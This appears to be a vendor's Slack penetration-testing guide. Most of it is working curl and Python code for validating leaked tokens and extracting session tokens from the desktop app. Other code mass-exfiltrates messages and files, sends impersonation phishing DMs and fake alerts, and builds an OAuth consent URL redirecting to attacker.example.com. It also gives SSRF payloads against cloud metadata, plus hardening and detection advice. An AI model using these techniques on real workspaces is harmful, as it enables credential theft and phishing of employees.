Slack is the dominant enterprise messaging platform and a high-value target during penetration tests — it stores the entire organizational communication history, shared files, credentials pasted into channels, and integration tokens. Key assessment areas: xoxb- bot tokens and xoxp- user tokens exposed in source code repositories and environment variables provide direct API access to workspace message history; incoming webhook URLs bypass authentication entirely and enable message injection; conversations.history and files.list APIs exfiltrate channel content and shared files including credentials; OAuth app misconfigurations allow persistent access escalation; and slash command endpoints are SSRF vectors. This guide covers systematic Slack security assessment for authorized engagements.
Before testing authentication, enumerate the Slack workspace to understand its size, user base, and public configuration. Several Slack API endpoints return workspace metadata without requiring a full authentication token.
# Slack workspace reconnaissance — team info and public discovery
SLACK_TEAM="yourworkspace" # subdomain at yourworkspace.slack.com
# Resolve workspace ID from team domain via public endpoint
# No authentication required — exposes workspace ID, name, icon, features
curl -s "https://slack.com/api/team.info?team=${SLACK_TEAM}" \
-H "Content-Type: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
t = d.get('team', {})
print(f'Team ID: {t.get(\"id\")}')
print(f'Name: {t.get(\"name\")}')
print(f'Domain: {t.get(\"domain\")}')
print(f'Email domain: {t.get(\"email_domain\")}')
print(f'Plan: {t.get(\"plan\")}')
print(f'Icon: {t.get(\"icon\", {}).get(\"image_132\", \"\")}')
" 2>/dev/null
# Enumerate users via users.list (requires any valid token)
# xoxb- bot token or xoxp- user token both work
SLACK_TOKEN="xoxb-your-bot-token-here"
curl -s "https://slack.com/api/users.list" \
-H "Authorization: Bearer ${SLACK_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
members = d.get('members', [])
print(f'Total members: {len(members)}')
for u in members[:15]:
if u.get('deleted'): continue
print(f' [{u.get(\"id\")}] {u.get(\"real_name\", \"\")} <{u.get(\"profile\", {}).get(\"email\", \"\")}>')
print(f' title={u.get(\"profile\", {}).get(\"title\", \"\")} admin={u.get(\"is_admin\")} owner={u.get(\"is_owner\")} bot={u.get(\"is_bot\")}')
" 2>/dev/null
# List all channels — public and private (private requires admin scope)
curl -s "https://slack.com/api/conversations.list?types=public_channel,private_channel&limit=200" \
-H "Authorization: Bearer ${SLACK_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
channels = d.get('channels', [])
print(f'Channels: {len(channels)}')
for c in channels[:20]:
print(f' [{c.get(\"id\")}] #{c.get(\"name\")} private={c.get(\"is_private\")} members={c.get(\"num_members\",0)}')
print(f' topic={str(c.get(\"topic\",{}).get(\"value\",\"\"))[:80]}')
" 2>/dev/null
The team.info endpoint is particularly useful during black-box assessments — it confirms the workspace exists, reveals the email domain for phishing preparation, and returns the workspace plan tier. Pagination is required for large workspaces; use the cursor parameter returned in response_metadata.next_cursor to iterate all users and channels.
Slack uses several distinct token types, each with a characteristic prefix and different permission scope. Identifying which token type is present determines what the attacker can access.
| Token Prefix | Type | Scope | Typical Exposure Location |
|---|---|---|---|
xoxb- | Bot token | Scopes defined at app install time; typically read/write messages | Source code repos, .env files, CI/CD secrets, Docker environment |
xoxp- | User token | Scopes of the authorizing user; can include admin scopes | Legacy OAuth apps, developer test scripts, Postman collections |
xoxs- | Session token | Full user session equivalent — high privilege | Browser localStorage, intercepted network traffic, memory forensics |
xoxa- | Legacy workspace token (deprecated) | Workspace-wide access — very high privilege | Old integrations, legacy configs, long-lived scripts |
xapp- | App-level token | Socket Mode connections, cross-workspace operations | App manifest files, Kubernetes secrets, infrastructure configs |
# Token validation — test any discovered Slack token
# auth.test returns token identity, workspace, and effective scopes
# Method 1: Bearer header (preferred for xoxb- and xoxp-)
curl -s "https://slack.com/api/auth.test" \
-H "Authorization: Bearer xoxb-your-token-here" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'ok: {d.get(\"ok\")}')
print(f'url: {d.get(\"url\")}')
print(f'team: {d.get(\"team\")} ({d.get(\"team_id\")})')
print(f'user: {d.get(\"user\")} ({d.get(\"user_id\")})')
print(f'bot_id: {d.get(\"bot_id\")}')
print(f'is_admin: {d.get(\"is_admin\")}')
print(f'scopes: {d.get(\"scope\")}')
" 2>/dev/null
# Method 2: Post body token parameter (legacy)
curl -s "https://slack.com/api/auth.test" \
--data-urlencode "token=xoxp-your-token-here" 2>/dev/null
# Secret scanning patterns — grep source code, .env files, git history
# Regex for all Slack token types
grep -rE "xox[bpsa]-[0-9A-Za-z\-]+" \
/path/to/repo --include="*.{js,ts,py,rb,go,env,yaml,yml,json,sh,conf}" 2>/dev/null
# Check git history for committed tokens
git log --all --oneline 2>/dev/null | head -50
git grep -E "xox[bpsa]-[0-9A-Za-z\-]+" $(git rev-list --all) 2>/dev/null | head -20
# Check common environment variable names
env | grep -iE "slack|xox[bpsa]" 2>/dev/null
cat .env .env.local .env.production 2>/dev/null | grep -iE "slack|xox[bpsa]"
# Kubernetes secrets and ConfigMaps
kubectl get secrets -A -o json 2>/dev/null | \
python3 -c "
import json,sys,base64
d=json.load(sys.stdin)
for item in d.get('items',[]):
name=item['metadata']['name']
for k,v in item.get('data',{}).items():
try:
val=base64.b64decode(v).decode()
if 'xox' in val.lower() or 'slack' in k.lower():
print(f'{name}/{k}: {val[:60]}')
except: pass
" 2>/dev/null
# Cookie-based session token extraction (browser context)
# xoxs- tokens are stored in the Slack desktop/web app localStorage
# Check browser localStorage for the 'd' cookie or 'localConfig_v2' key
# In Electron desktop app: ~/Library/Application Support/Slack/storage/slack-workspaces
xoxs- session tokens extracted from the Slack desktop app's Electron localStorage provide the same access as the authenticated user's browser session — including reading all messages, accessing all joined channels, and performing administrative actions. These tokens do not expire until the user explicitly logs out. On macOS the Slack storage path is ~/Library/Application Support/Slack/storage/; on Linux it is ~/.config/Slack/.
With a valid token, the Slack API exposes the full message history for all channels the token has access to. Bot tokens installed with channels:history and groups:history scopes can read every message ever posted. The files.list endpoint returns all files shared in the workspace, which routinely includes credentials, database dumps, SSH keys, and internal documents.
# conversations.history — extract all messages from a channel
SLACK_TOKEN="xoxb-your-bot-token-here"
CHANNEL_ID="C0123456789" # from conversations.list output
# Read up to 1000 messages from a channel
curl -s "https://slack.com/api/conversations.history?channel=${CHANNEL_ID}&limit=200" \
-H "Authorization: Bearer ${SLACK_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
msgs = d.get('messages', [])
print(f'Messages returned: {len(msgs)}')
for m in msgs:
ts = m.get('ts','')
user = m.get('user', m.get('username','bot'))
text = str(m.get('text',''))[:120]
print(f' [{ts}] {user}: {text}')
# Check for secrets in message text
import re
patterns = [r'xox[bpsa]-[0-9A-Za-z\-]+', r'AKIA[0-9A-Z]{16}',
r'password\s*[:=]\s*\S+', r'api[_-]?key\s*[:=]\s*\S+',
r'secret\s*[:=]\s*\S+', r'-----BEGIN (RSA|PRIVATE) KEY-----']
for pat in patterns:
if re.search(pat, text, re.IGNORECASE):
print(f' *** POTENTIAL SECRET FOUND ***')
" 2>/dev/null
# Paginate through complete channel history
CURSOR=""
PAGE=0
while true; do
URL="https://slack.com/api/conversations.history?channel=${CHANNEL_ID}&limit=200"
[ -n "$CURSOR" ] && URL="${URL}&cursor=${CURSOR}"
RESP=$(curl -s "$URL" -H "Authorization: Bearer ${SLACK_TOKEN}")
echo "Page ${PAGE}: $(echo $RESP | python3 -c 'import json,sys; d=json.load(sys.stdin); print(len(d.get(\"messages\",[])), \"messages\")')"
CURSOR=$(echo $RESP | python3 -c 'import json,sys; d=json.load(sys.stdin); print(d.get("response_metadata",{}).get("next_cursor",""))' 2>/dev/null)
[ -z "$CURSOR" ] && break
PAGE=$((PAGE+1))
done
# conversations.replies — read thread replies (separate API call required)
# Threads are NOT returned by conversations.history — must fetch explicitly
THREAD_TS="1234567890.123456"
curl -s "https://slack.com/api/conversations.replies?channel=${CHANNEL_ID}&ts=${THREAD_TS}" \
-H "Authorization: Bearer ${SLACK_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for m in d.get('messages',[]):
print(f'{m.get(\"user\",\"\")} [{m.get(\"ts\")}]: {str(m.get(\"text\",\"\"))[:120]}')
" 2>/dev/null
# files.list — enumerate all shared files in the workspace
curl -s "https://slack.com/api/files.list?count=100&types=all" \
-H "Authorization: Bearer ${SLACK_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
files = d.get('files', [])
print(f'Files: {len(files)}')
for f in files:
print(f' [{f.get(\"id\")}] {f.get(\"name\")} ({f.get(\"filetype\")}) {f.get(\"size\",0)//1024}KB')
print(f' uploaded_by={f.get(\"user\")} channels={f.get(\"channels\",[])}')
print(f' url_private={f.get(\"url_private\",\"\")[:80]}')
" 2>/dev/null
# Download a private file — requires Authorization header (not just URL)
FILE_URL="https://files.slack.com/files-pri/T.../F.../filename.txt"
curl -s -L "${FILE_URL}" \
-H "Authorization: Bearer ${SLACK_TOKEN}" \
-o downloaded_file.txt 2>/dev/null
.env, .pem, .key, .p12, .pfx, id_rsa, credentials.json, and *.csv files. Developers routinely share environment files in Slack channels when debugging, and these files are permanently accessible to anyone with a valid token even after the message is deleted (files require explicit deletion). Also target Snippets (filetype post) which frequently contain database connection strings pasted for quick sharing.
Slack incoming webhooks are pre-authenticated POST endpoints that deliver messages to a specific channel without requiring a token. A webhook URL is a persistent credential — it does not expire unless manually rotated. Leaked webhook URLs allow an attacker to inject arbitrary messages into the target channel, enabling phishing at scale and potential SSRF depending on the receiving application architecture.
# Incoming webhook — format and validation
# Format: https://hooks.slack.com/services/TXXXXXXXX/BXXXXXXXX/XXXXXXXXXXXXXXXXXXXXXXXX
WEBHOOK_URL="https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX"
# Validate a discovered webhook by sending a test message
curl -s -X POST "${WEBHOOK_URL}" \
-H "Content-Type: application/json" \
-d '{"text": "Webhook validation test — authorized security assessment"}' 2>/dev/null
# Advanced message injection — impersonate services using Block Kit
# Override username and icon to impersonate GitHub, PagerDuty, monitoring alerts
curl -s -X POST "${WEBHOOK_URL}" \
-H "Content-Type: application/json" \
-d '{
"username": "GitHub",
"icon_emoji": ":github:",
"text": "*[SECURITY]* Possible credential leak detected in commit `a1b2c3d`",
"attachments": [{
"color": "danger",
"text": "Click to review the affected commit and rotate your credentials.",
"footer": "GitHub Security Alert"
}]
}' 2>/dev/null
# Webhook secret scanning — common patterns in source code
grep -rE "hooks\.slack\.com/services/T[A-Z0-9]+/B[A-Z0-9]+/[A-Za-z0-9]+" \
/path/to/repo --include="*.{js,ts,py,rb,go,yaml,yml,json,sh,conf}" 2>/dev/null
# SSRF via webhook delivery — if the webhook URL is consumed by an internal service
# that makes outbound requests, the path component can be manipulated:
# Replace hooks.slack.com with an internal address in configurations that
# construct the webhook URL from environment variables
# Test for SSRF by injecting internal URLs into Slack integration configurations
# via the Slack Admin API (requires admin token):
curl -s "https://slack.com/api/apps.connections.open" \
-H "Authorization: Bearer xapp-your-app-level-token" 2>/dev/null
# Webhook URL enumeration via Slack API (admin token required)
# Lists all installed apps and their webhook endpoints
curl -s "https://slack.com/api/apps.list" \
-H "Authorization: Bearer xoxp-admin-user-token" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for app in d.get('apps', []):
print(f'{app.get(\"name\")}: {app.get(\"id\")}')
for hook in app.get('incoming_webhooks', []):
print(f' webhook_url: {hook.get(\"url\",\"\")}')
print(f' channel: {hook.get(\"channel\")}')
" 2>/dev/null
Slack app-level tokens (xapp-) are used for Socket Mode connections, which establish a persistent WebSocket connection between the Slack platform and the application server. These tokens have cross-workspace capabilities and are often stored in infrastructure configuration files rather than application environment variables, making them less likely to appear in standard secret scans.
# xapp- token validation and Socket Mode connection
XAPP_TOKEN="xapp-1-your-app-level-token-here"
# Validate app-level token
curl -s "https://slack.com/api/apps.connections.open" \
-H "Authorization: Bearer ${XAPP_TOKEN}" \
-H "Content-Type: application/x-www-form-urlencoded" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'ok: {d.get(\"ok\")}')
print(f'url: {d.get(\"url\")}') # WebSocket URL for Socket Mode
print(f'error: {d.get(\"error\",\"none\")}')
" 2>/dev/null
# Socket Mode WebSocket URL — connect to receive all workspace events
# The url returned above is a wss:// endpoint that delivers real-time events:
# message events from all channels the app is subscribed to
# slash command invocations including user identity and channel context
# workflow step executions including automation trigger data
# app_mention events with full message context
# App manifest inspection — reveals all permissions and event subscriptions
# apps.manifest.export requires admin or app owner token
curl -s "https://slack.com/api/apps.manifest.export?app_id=A0123456789" \
-H "Authorization: Bearer ${XAPP_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
manifest = d.get('manifest', {})
features = manifest.get('features', {})
oauth = manifest.get('oauth_config', {})
print('Bot scopes:', oauth.get('scopes', {}).get('bot', []))
print('User scopes:', oauth.get('scopes', {}).get('user', []))
print('Event subscriptions:', features.get('event_subscriptions', {}).get('bot_events', []))
print('Slash commands:', [c.get('command') for c in features.get('slash_commands', [])])
" 2>/dev/null
Slack slash commands work by making an HTTP POST request from Slack's infrastructure to an external URL configured in the app manifest. These external URLs are server-side request targets — any service that validates only the X-Slack-Signature header and then makes secondary HTTP requests based on the payload parameters is an SSRF candidate. During internal penetration tests, slash command configuration endpoints are worth testing for SSRF when the Slack app server is inside the corporate network.
# Slash command SSRF testing methodology
# 1. Identify slash command request URL from app configuration
# 2. Analyze what the handler does with payload parameters
# 3. Test for SSRF via user-controlled URL parameters
# Slash command invocation payload format (delivered by Slack to your server):
# POST https://your-server.example.com/slack/command
# token=xxxxxxxxxx
# team_id=T0001
# team_domain=yourworkspace
# channel_id=C0123456789
# channel_name=general
# user_id=U0123456789
# user_name=username
# command=/lookup
# text=https://internal.example.com/admin <-- SSRF injection point
# response_url=https://hooks.slack.com/commands/... <-- used for async responses
# If the slash command handler fetches the URL in 'text' or constructs
# URLs from the 'text' parameter, it becomes an SSRF vector:
# /lookup https://169.254.169.254/latest/meta-data/ (AWS IMDS)
# /lookup https://metadata.google.internal/computeMetadata/v1/
# /lookup https://192.168.1.1/admin
# /lookup file:///etc/passwd
# Signing secret validation bypass — some integrations only check token (deprecated)
# The 'token' field (legacy verification) vs X-Slack-Signature header (current)
# Apps using legacy token verification can be spoofed if the token leaks
# Enumerate slash commands registered in a workspace (admin token required)
curl -s "https://slack.com/api/commands.list" \
-H "Authorization: Bearer xoxp-admin-user-token" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for cmd in d.get('commands', []):
print(f'Command: {cmd.get(\"command\")}')
print(f' URL: {cmd.get(\"url\")}')
print(f' App: {cmd.get(\"app_name\")} ({cmd.get(\"app_id\")})')
print(f' Description: {cmd.get(\"description\",\"\")}')
" 2>/dev/null
Slack uses OAuth 2.0 for third-party app installations. The authorization code flow can be abused if the redirect_uri validation is weak, if the app's client_secret is exposed, or if the state parameter is absent or predictable — enabling CSRF-based token theft.
# OAuth app abuse — client secret extraction and token exchange
# Client secrets are stored in Slack app configuration and often in:
# - Application environment variables (SLACK_CLIENT_SECRET)
# - CI/CD pipeline secrets (GitHub Actions, GitLab CI)
# - Kubernetes secrets and ConfigMaps
# - Terraform state files (tfstate) — plaintext in remote state
# If client_secret is obtained, exchange any valid authorization code:
CLIENT_ID="your-slack-app-client-id"
CLIENT_SECRET="your-slack-app-client-secret"
AUTH_CODE="intercepted-authorization-code"
REDIRECT_URI="https://your-app.example.com/oauth/callback"
curl -s "https://slack.com/api/oauth.v2.access" \
--data-urlencode "client_id=${CLIENT_ID}" \
--data-urlencode "client_secret=${CLIENT_SECRET}" \
--data-urlencode "code=${AUTH_CODE}" \
--data-urlencode "redirect_uri=${REDIRECT_URI}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'ok: {d.get(\"ok\")}')
print(f'access_token: {d.get(\"access_token\",\"\")}')
print(f'token_type: {d.get(\"token_type\")}')
print(f'scope: {d.get(\"scope\")}')
print(f'authed_user: {d.get(\"authed_user\",{}).get(\"access_token\",\"\")}')
print(f'team: {d.get(\"team\",{}).get(\"name\")}')
" 2>/dev/null
# CSRF via missing state parameter — craft malicious OAuth initiation URL
# If state parameter is absent or predictable:
# https://slack.com/oauth/v2/authorize?client_id=CLIENT_ID&scope=channels:read,chat:write&redirect_uri=REDIRECT_URI
# An attacker can force a victim to authorize the attacker's redirect_uri
# Enumerate installed OAuth apps in workspace (admin token required)
curl -s "https://slack.com/api/apps.list&include_app_directory=true" \
-H "Authorization: Bearer xoxp-admin-user-token" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for app in d.get('apps', []):
print(f'{app.get(\"name\")} ({app.get(\"id\")})')
print(f' scopes: {app.get(\"scopes\",[])}')
print(f' installed_by: {app.get(\"installed_by\",{}).get(\"name\")}')
" 2>/dev/null
client_secret values and bot tokens are frequently provisioned via Terraform and stored in plaintext in remote state (S3, GCS, Terraform Cloud). During infrastructure-focused penetration tests, searching terraform.tfstate and remote state backends for xox and slack strings yields high-value credentials. See the Terraform Security Testing guide for state backend exploitation techniques.
Slack's trusted status within organizations makes it an effective phishing delivery channel. Users receive DMs from compromised accounts or malicious bots without the same skepticism they apply to email. Several techniques are effective during authorized social engineering assessments.
# Slack phishing — send DM to a target user via API
SLACK_TOKEN="xoxb-your-bot-token"
TARGET_USER_ID="U0123456789" # from users.list enumeration
# Open a direct message channel with the target user
DM_CHANNEL=$(curl -s "https://slack.com/api/conversations.open" \
-H "Authorization: Bearer ${SLACK_TOKEN}" \
-H "Content-Type: application/json" \
-d "{\"users\": \"${TARGET_USER_ID}\"}" 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('channel',{}).get('id',''))")
echo "DM channel: ${DM_CHANNEL}"
# Send phishing message with credential harvesting link
curl -s "https://slack.com/api/chat.postMessage" \
-H "Authorization: Bearer ${SLACK_TOKEN}" \
-H "Content-Type: application/json" \
-d "{
\"channel\": \"${DM_CHANNEL}\",
\"text\": \"Your Slack session has expired on a new device. Verify your identity to continue: \",
\"as_user\": false
}" 2>/dev/null
# Impersonation via username override (requires chat:write.customize scope)
curl -s "https://slack.com/api/chat.postMessage" \
-H "Authorization: Bearer ${SLACK_TOKEN}" \
-H "Content-Type: application/json" \
-d "{
\"channel\": \"${DM_CHANNEL}\",
\"text\": \"IT Security: We detected unusual login activity on your account. Please re-authenticate at .\",
\"username\": \"IT Security Team\",
\"icon_emoji\": \":shield:\"
}" 2>/dev/null
# Malicious Slack app installation phishing — craft installation URL
# that requests high-privilege scopes and redirects to attacker-controlled page
echo "https://slack.com/oauth/v2/authorize?client_id=${CLIENT_ID}&scope=admin,channels:read,channels:history,files:read,users:read.email,chat:write&redirect_uri=https://attacker.example.com/oauth/callback"
Beyond the API itself, Slack is a rich source of credentials due to developer habits — posting environment files, private keys, configuration snippets, and database dumps into channels for quick sharing. Automated secret scanning of files.list output is a high-yield activity.
# Automated secret scanning in Slack files and messages
SLACK_TOKEN="xoxb-your-bot-token"
# Download and scan all text-format files in the workspace
curl -s "https://slack.com/api/files.list?count=100&types=text,post,snippet" \
-H "Authorization: Bearer ${SLACK_TOKEN}" 2>/dev/null | python3 -c "
import json,sys,re,urllib.request,urllib.error
SECRET_PATTERNS = {
'AWS Access Key': r'AKIA[0-9A-Z]{16}',
'AWS Secret Key': r'(?i)aws.{0,20}secret.{0,20}[0-9A-Za-z/+]{40}',
'Slack Token': r'xox[bpsax]-[0-9A-Za-z\-]+',
'Private Key': r'-----BEGIN (RSA |EC |OPENSSH )?PRIVATE KEY-----',
'GitHub Token': r'ghp_[A-Za-z0-9]{36}',
'Google API Key': r'AIza[0-9A-Za-z\-_]{35}',
'Database URL': r'(postgres|mysql|mongodb)://[^:]+:[^@]+@[^/]+',
'Generic Password': r'(?i)(password|passwd|pwd)\s*[:=]\s*\S{8,}',
'Generic Secret': r'(?i)(secret|api_key|apikey|token)\s*[:=]\s*[\"\'`]?\S{16,}',
'Stripe Key': r'sk_(live|test)_[0-9A-Za-z]{24,}',
'Twilio Auth Token': r'(?i)twilio.{0,10}auth.{0,10}[0-9a-f]{32}',
}
token = '${SLACK_TOKEN}'
d = json.load(sys.stdin)
for f in d.get('files', []):
url = f.get('url_private_download') or f.get('url_private')
if not url: continue
try:
req = urllib.request.Request(url, headers={'Authorization': f'Bearer {token}'})
content = urllib.request.urlopen(req, timeout=10).read().decode('utf-8', errors='ignore')
for label, pat in SECRET_PATTERNS.items():
matches = re.findall(pat, content)
if matches:
print(f'[MATCH] {f.get(\"name\")} ({f.get(\"id\")}): {label}')
print(f' channel: {f.get(\"channels\",[])}')
print(f' uploaded: {f.get(\"timestamp\")}')
for m in matches[:3]:
print(f' value: {str(m)[:60]}...')
except Exception as e:
print(f'[ERROR] {f.get(\"name\")}: {e}')
" 2>/dev/null
xox[bpsax]- patterns in repositories; Slack's own secret revocation webhook automatically revokes bot tokens found in public GitHub repos; rotate the client_secret if exposed, which requires reinstalling the app for all users; enable automatic token rotation in Slack app settings where availableadmin, channels:history for channels the app does not need to read, and files:read unless the app specifically processes files; review all installed apps in the Slack Admin panel and remove apps with excessive scopes; periodically audit users.list for bot accounts that are no longer in active usestate parameter (a cryptographically random nonce) to prevent CSRF-based token theft; validate redirect_uri against an allowlist of exact URIs; sign slash command payloads verification using the X-Slack-Signature HMAC-SHA256 mechanism (not the legacy token field) with timestamp validation to prevent replay attacks within 5 minutesaudit.logs API delivering user authentication events, app installation events, file access events, and admin actions; forward these logs to your SIEM; alert on: bulk conversations.history access across many channels in a short period, files.list enumeration followed by bulk downloads, new bot token creations, app installations requesting elevated scopes, and admin API calls from non-admin users| Security Test | Method | Risk |
|---|---|---|
| xoxb- bot token exposure in repositories | Grep source code, git history, CI/CD configs for xox[bpsax]- patterns; validate via auth.test; check effective scopes for channels:history and files:read which enable mass data exfiltration | Critical |
| xoxp- user token exposure in scripts and Postman collections | User tokens can carry admin-level scopes; enumerate via auth.test is_admin field; admin user tokens grant access to private channels, user management, and workspace configuration | Critical |
| xoxs- session token extraction from Electron app storage | Read ~/Library/Application Support/Slack/storage/ on macOS or ~/.config/Slack/ on Linux; session tokens provide full user session access equivalent to browser login; do not expire until explicit logout | Critical |
| Incoming webhook URL abuse | POST arbitrary JSON to hooks.slack.com/services/T.../B.../...; inject messages impersonating security alerts or IT notices with credential harvesting links; persistent — webhook does not expire | High |
| conversations.history bulk data exfiltration | Iterate all channels via conversations.list then paginate conversations.history for each; extract complete message history including DMs via im.history; scan for credentials in message text | High |
| files.list credential exposure | Enumerate all workspace files; download and scan .env, snippet, and post type files for secret patterns; developer-shared credentials persist indefinitely even after message deletion | High |
| Slash command SSRF via user-controlled URL parameters | Inject internal addresses into slash command text parameters if the handler makes secondary HTTP requests; target AWS IMDS (169.254.169.254), internal admin panels, and cloud metadata endpoints | High |
| OAuth authorization code interception via missing state parameter | Verify state parameter presence and entropy; test redirect_uri allowlist strictness via path traversal and subdomain variations; exchange intercepted codes against exposed client_secret | Medium |
Ironimo scans for Slack token exposure patterns across application surfaces — detecting xoxb- and xoxp- tokens in environment variables and configuration endpoints, validating webhook URL accessibility and injection susceptibility, testing conversations.history and files.list API access scope, identifying slash command SSRF vectors, auditing OAuth app permission scopes, and checking for missing state parameter CSRF protections. Integrate automated Slack security checks into your pentest workflow.
Start free scan